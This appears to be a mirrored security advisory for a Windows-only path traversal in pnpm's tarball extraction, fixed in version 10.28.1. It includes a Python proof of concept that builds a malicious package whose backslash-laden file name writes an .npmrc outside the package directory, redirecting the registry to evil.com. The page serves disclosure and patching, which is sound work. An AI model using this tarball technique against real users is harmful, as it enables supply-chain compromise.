pnpm
Affected
- introduced
0, fixed10.28.1(semver)
Fixed versions
10.28.1
Fix
- Fixed version
10.28.1npm install [email protected]
Advisory
Also known as: CVE-2026-23889
pnpm has Windows-specific tarball Path Traversal
Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for ./ but not .\. On Windows, backslashes are directory separators, enabling path traversal.
This vulnerability is Windows-only.
Details
1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)
if (fileName.includes('./')) {
fileName = path.posix.join('/', fileName).slice(1)
}
A path like foo\..\..\.npmrc does NOT contain ./ and bypasses this check.
2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)
PoC
package/foo\..\..\.npmrcpnpm install.npmrc written outside package directoryimport tarfile, io
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
pkg_info = tarfile.TarInfo(name='package/package.json')
pkg_info.size = len(pkg_json)
tar.addfile(pkg_info, io.BytesIO(pkg_json))
malicious_content = b'registry=https://evil.com/\n'
mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
mal_info.size = len(malicious_content)
tar.addfile(mal_info, io.BytesIO(malicious_content))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
f.write(tar_buffer.getvalue())
Impact
.npmrc, build configs, or other filesVerified on pnpm main @ commit 5a0ed1d45.
Medium Basis: The source's own band: MODERATE
0, fixed 10.28.1 (semver)10.28.1
10.28.1npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0